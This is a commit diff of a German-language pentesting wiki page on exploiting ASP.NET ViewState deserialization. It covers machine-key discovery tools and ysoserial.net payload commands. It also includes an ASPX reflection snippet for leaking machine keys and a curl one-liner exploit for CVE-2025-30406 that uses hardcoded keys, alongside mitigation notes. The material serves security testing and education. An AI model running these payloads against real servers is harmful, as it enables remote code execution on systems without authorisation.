Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-10 18:15:43 +00:00
parent cf76f2ae2c
commit 3d686e750b

View File

@ -6,7 +6,7 @@
## Was ist ViewState
**ViewState** dient als das Standardmechanismus in ASP.NET, um Seiten- und Steuerungsdaten über Webseiten hinweg zu erhalten. Während der Darstellung des HTML einer Seite werden der aktuelle Zustand der Seite und die Werte, die während eines Postbacks erhalten bleiben sollen, in base64-kodierte Strings serialisiert. Diese Strings werden dann in versteckten ViewState-Feldern platziert.
**ViewState** dient als das Standardmechanismus in ASP.NET, um Seiten- und Steuerdaten über Webseiten hinweg zu erhalten. Während der Darstellung des HTML einer Seite werden der aktuelle Zustand der Seite und die Werte, die während eines Postbacks erhalten bleiben sollen, in base64-kodierte Strings serialisiert. Diese Strings werden dann in versteckten ViewState-Feldern platziert.
ViewState-Informationen können durch die folgenden Eigenschaften oder deren Kombinationen charakterisiert werden:
@ -21,7 +21,7 @@ ViewState-Informationen können durch die folgenden Eigenschaften oder deren Kom
Das Bild ist eine Tabelle, die verschiedene Konfigurationen für ViewState in ASP.NET basierend auf der .NET-Framework-Version detailliert. Hier ist eine Zusammenfassung des Inhalts:
1. Für **jede Version von .NET**, wenn sowohl MAC als auch Verschlüsselung deaktiviert sind, ist kein MachineKey erforderlich, und es gibt somit keine anwendbare Methode, um ihn zu identifizieren.
1. Für **jede Version von .NET**, wenn sowohl MAC als auch Verschlüsselung deaktiviert sind, ist kein MachineKey erforderlich, und somit gibt es keine anwendbare Methode, um ihn zu identifizieren.
2. Für **Versionen unter 4.5**, wenn MAC aktiviert, aber die Verschlüsselung nicht aktiviert ist, ist ein MachineKey erforderlich. Die Methode zur Identifizierung des MachineKey wird als "Blacklist3r" bezeichnet.
3. Für **Versionen unter 4.5**, unabhängig davon, ob MAC aktiviert oder deaktiviert ist, wenn die Verschlüsselung aktiviert ist, wird ein MachineKey benötigt. Die Identifizierung des MachineKey ist eine Aufgabe für "Blacklist3r - Future Development."
4. Für **Versionen 4.5 und höher** erfordern alle Kombinationen von MAC und Verschlüsselung (ob beide true sind oder einer true und der andere false) einen MachineKey. Der MachineKey kann mit "Blacklist3r" identifiziert werden.
@ -32,7 +32,7 @@ Es ist auch möglich, das ViewStateMAC vollständig zu deaktivieren, indem der R
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identifizieren von ViewState-Attributen**
**Identifizierung von ViewState-Attributen**
Sie können versuchen zu identifizieren, ob ViewState durch MAC geschützt ist, indem Sie eine Anfrage mit diesem Parameter mit BurpSuite erfassen. Wenn Mac nicht verwendet wird, um den Parameter zu schützen, können Sie ihn mit [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ausnutzen.
```
@ -50,7 +50,7 @@ Um **ViewState MAC** für eine **spezifische Seite** zu **aktivieren**, müssen
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Wir können es auch für die **gesamt** Anwendung tun, indem wir es in der **web.config**-Datei wie unten gezeigt festlegen:
Wir können dies auch für die **gesamt** Anwendung tun, indem wir es in der **web.config**-Datei wie unten gezeigt festlegen:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
@ -72,7 +72,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) ist ein weiteres Tool, das bekannte machineKeys identifizieren kann. Es ist in Python geschrieben, sodass es im Gegensatz zu Blacklist3r keine Windows-Abhängigkeit gibt. Für .NET viewstates gibt es ein "python blacklist3r" Dienstprogramm, das der schnellste Weg ist, es zu verwenden.
Es kann entweder direkt mit dem viewstate und dem Generator versorgt werden:
Es kann entweder direkt mit dem viewstate und dem generator bereitgestellt werden:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@ -90,7 +90,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Um anfällige Viewstates in großem Maßstab zu suchen, in Verbindung mit der Subdomain-Enumeration, kann das `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) Modul verwendet werden:
Um anfällige Viewstates im großen Maßstab zu suchen, in Verbindung mit der Subdomain-Enumeration, kann das `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) Modul verwendet werden:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
@ -106,19 +106,19 @@ In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht** vom Server **
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Case: 3 .Net < 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true
### Testfall: 3 .Net < 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true
In diesem Fall ist nicht bekannt, ob der Parameter mit MAC geschützt ist. Dann ist der Wert wahrscheinlich verschlüsselt und Sie **benötigen den Machine Key, um Ihre Payload zu verschlüsseln**, um die Schwachstelle auszunutzen.
**In diesem Fall ist das** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **Modul in Entwicklung...**
**Vor .NET 4.5** kann ASP.NET **einen** **unencrypted** \_`__VIEWSTATE`\_Parameter von den Benutzern **akzeptieren**, **auch wenn** **`ViewStateEncryptionMode`** auf _**Always**_ gesetzt wurde. ASP.NET **prüft nur** die **Präsenz** des **`__VIEWSTATEENCRYPTED`** Parameters in der Anfrage. **Wenn man diesen Parameter entfernt und die unverschlüsselte Payload sendet, wird sie trotzdem verarbeitet.**
**Vor .NET 4.5** kann ASP.NET einen **unencrypted** \_`__VIEWSTATE`\_Parameter von den Benutzern **akzeptieren**, selbst wenn **`ViewStateEncryptionMode`** auf _**Always**_ gesetzt ist. ASP.NET **prüft nur** die **Präsenz** des **`__VIEWSTATEENCRYPTED`** Parameters in der Anfrage. **Wenn man diesen Parameter entfernt und die unverschlüsselte Payload sendet, wird sie trotzdem verarbeitet.**
Daher, wenn die Angreifer einen Weg finden, den Machinekey über eine andere Schwachstelle wie Dateitraversierung zu erhalten, kann der [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wurde, verwendet werden, um RCE über die ViewState-Deserialisierungsanfälligkeit durchzuführen.
- Entfernen Sie den `__VIEWSTATEENCRYPTED` Parameter aus der Anfrage, um die ViewState-Deserialisierungsanfälligkeit auszunutzen, andernfalls wird ein Viewstate MAC Validierungsfehler zurückgegeben und der Exploit schlägt fehl.
- Entfernen Sie den `__VIEWSTATEENCRYPTED` Parameter aus der Anfrage, um die ViewState-Deserialisierungsanfälligkeit auszunutzen, andernfalls wird ein Viewstate MAC-Validierungsfehler zurückgegeben und der Exploit schlägt fehl.
### Test Case: 4 .Net >= 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true/false, außer beide Attribute auf false
### Testfall: 4 .Net >= 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true/false, außer beide Attribute auf false
Wir können die Verwendung des ASP.NET-Frameworks erzwingen, indem wir den folgenden Parameter in der web.config-Datei wie unten gezeigt angeben.
```xml
@ -155,7 +155,7 @@ Wenn Sie den Wert von `__VIEWSTATEGENERATOR` haben, können Sie versuchen, den `
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, der über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen.
Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, der über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details darüber, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen.
### Testfall 6 ViewStateUserKeys wird verwendet
@ -172,7 +172,7 @@ Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** f
### Dumping von ASP.NET Machine Keys über Reflection (SharPyShell/SharePoint ToolShell)
Angreifer, die in der Lage sind, **beliebigen ASPX-Code** im Ziel-Webstamm **hochzuladen oder auszuführen**, können die geheimen Schlüssel, die `__VIEWSTATE` schützen, direkt abrufen, anstatt sie zu bruteforcen. Eine minimale Payload, die die Schlüssel leakt, nutzt interne .NET-Klassen über Reflection aus:
Angreifer, die in der Lage sind, **beliebigen ASPX-Code** im Ziel-Webstamm **hochzuladen oder auszuführen**, können die geheimen Schlüssel, die `__VIEWSTATE` schützen, direkt abrufen, anstatt sie zu bruteforcen. Eine minimale Payload, die die Schlüssel leakt, nutzt interne .NET-Klassen über Reflection:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
@ -198,14 +198,54 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Dieser **Key-Exfiltration-Primitiv** wurde 2025 massenhaft gegen lokale SharePoint-Server ausgenutzt ("ToolShell" CVE-2025-53770/53771), ist jedoch auf jede ASP.NET-Anwendung anwendbar, bei der ein Angreifer serverseitigen Code ausführen kann.
Diese **Key-Exfiltration-Primitiv** wurde 2025 massenhaft gegen lokale SharePoint-Server ausgenutzt ("ToolShell" CVE-2025-53770/53771), ist jedoch auf jede ASP.NET-Anwendung anwendbar, bei der ein Angreifer serverseitigen Code ausführen kann.
## 2024-2025 Szenarien zur realen Ausnutzung und hartcodierte Maschinen-Schlüssel
### Microsoft „öffentlich offengelegte Maschinen-Schlüssel“ Welle (Dez 2024 Feb 2025)
Microsoft Threat Intelligence berichtete über die massenhafte Ausnutzung von ASP.NET-Seiten, bei denen der *machineKey* zuvor in öffentlichen Quellen (GitHub Gists, Blogbeiträge, Paste-Seiten) offengelegt worden war. Gegner enumerierten diese Schlüssel und generierten gültige `__VIEWSTATE` Gadgets mit den neueren `ysoserial.net` 1.41 `--minify` und `--islegacy` Flags, um die WAF-Längenbeschränkungen zu umgehen:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Rotierende statische Schlüssel oder der Wechsel zu *AutoGenerate* Schlüsseln in Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mindern diese Art von Angriffen. {{#ref}}
{{#endref}}
### CVE-2025-30406 Gladinet CentreStack / Triofox hartkodierte Schlüssel
Kudelski Security entdeckte, dass mehrere CentreStack / Triofox-Versionen mit identischen `machineKey`-Werten ausgeliefert wurden, was eine nicht authentifizierte Remote-Codeausführung durch ViewState-Fälschung ermöglichte (CVE-2025-30406).
One-liner Exploit:
```bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
```
In CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 behoben aktualisieren oder die Schlüssel sofort ersetzen. {{#ref}}
{{#endref}}
## Referenzen
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [Introducing badsecrets fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
- [Microsoft Security Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
- [Kudelski Security advisory Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}